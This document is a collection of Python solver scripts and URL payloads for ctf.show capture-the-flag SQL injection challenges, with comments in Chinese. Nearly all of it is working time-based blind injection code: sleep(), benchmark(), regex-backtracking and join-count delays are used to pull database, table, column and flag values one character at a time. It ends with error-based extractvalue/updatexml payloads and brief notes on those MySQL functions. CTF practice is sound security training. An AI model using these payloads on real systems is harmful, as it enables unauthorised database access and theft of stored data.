        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 跑flag
 
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

"""
Author:Y4tacker
"""
import requests

url = "http://6e7c94f3-c90b-4e61-9058-b4c0655f7978.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

import time

import requests

url = "http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/"
bypass = """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"""
# payload = "1) or if(ascii(substr((select database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{0},1))>{1},{2},0)-- +"
payload = "1) or if(ascii(substr((select group_concat(id,'---',flagaac)from ctfshow_flagxc),{0},1))>{1},{2},0)-- +"
flag = ''

for i in range(1,100):
    high = 128
    low = 32
    mid = (high+low)//2
    while(high>low):
        payload1=payload.format(i,mid,bypass)
        # print(payload1)
        # print(payload1)
        data = {
            'ip':payload1,
            'debug':0
        }
        start_time=time.time()
        re = requests.post(url=url,data=data)
        end_time=time.time()
        subtime=end_time-start_time
        # print(subtime)
        if subtime > 0.9:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(chr(mid)==" "):
            break
    flag+=chr(mid)
    print(flag)

# @author：Myon
# @time：20240814
import requests
import string
from time import *

url = 'http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"

for j in range(1, 50):
    for k in dic:
        sleep(0.2)  # 遍历每个字符前延时0.2s
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"}  # 跑flag
        try:
            re = requests.post(url, data=payload)
            if re.elapsed.total_seconds() > 0.8:
                out += k
                break
        except:
            out += k
            break
    print(out)
    sleep(1)  # 猜对一个字符延时1s

# @author：Myon
# @time：20240814
import requests
import string

url = 'http://af0a2faf-1b8e-4da9-90b7-c49dbaf3eabd.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.31:
            out += k
            break
    print(out)

# @author：Myon
# @time：20240814
import requests
import string

url = 'http://3bf69c20-538d-473d-a4da-93a2b23588a1.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        # payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.31:
            out += k
            break
    print(out)

import string

import requests

url = "http://dfc9fcfa-4a13-413b-87c6-14c1b4355565.challenge.ctf.show/api/"

# payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +"
payload = "1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +"
bypass = """(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"""
uuid = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp,"
flag = ''
i = 1
while 1:
    for j in uuid:
        flag += j
        payload1 = payload.format(i, flag, bypass)
        # print(payload1)
        data = {
            'ip': payload1,
            'debug': '1'
        }
        try:
            r = requests.post(url, data=data, timeout=3)
            flag = flag[:-1]
        except Exception as e:
            print(flag)
            i += 1

?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
# 提取表结构
# 高亮处字符不满足xpath格式即可 0x23-># 也是可以的
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)

ExtractValue()
ExtractValue() 是 MySQL 中的一个函数，用于从 XML 文档中提取值。
语法：
sql
ExtractValue(xml_fragment, xpath_expression)xml_fragment：这是一个 XML 格式的字符串片段。
xpath_expression：XPath 表达式，指定要提取的路径。

UpdateXML()
UpdateXML() 是 MySQL 中的一个函数，用于更新 XML 文档中的特定节点。
语法：
sql
UpdateXML(xml_document, xpath_string, new_value)
xml_document：一个 XML 格式的字符串文档。
xpath_string：XPath 表达式，指定要更新的节点位置。
new_value：新的值，将替换匹配到的节点内容。

/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)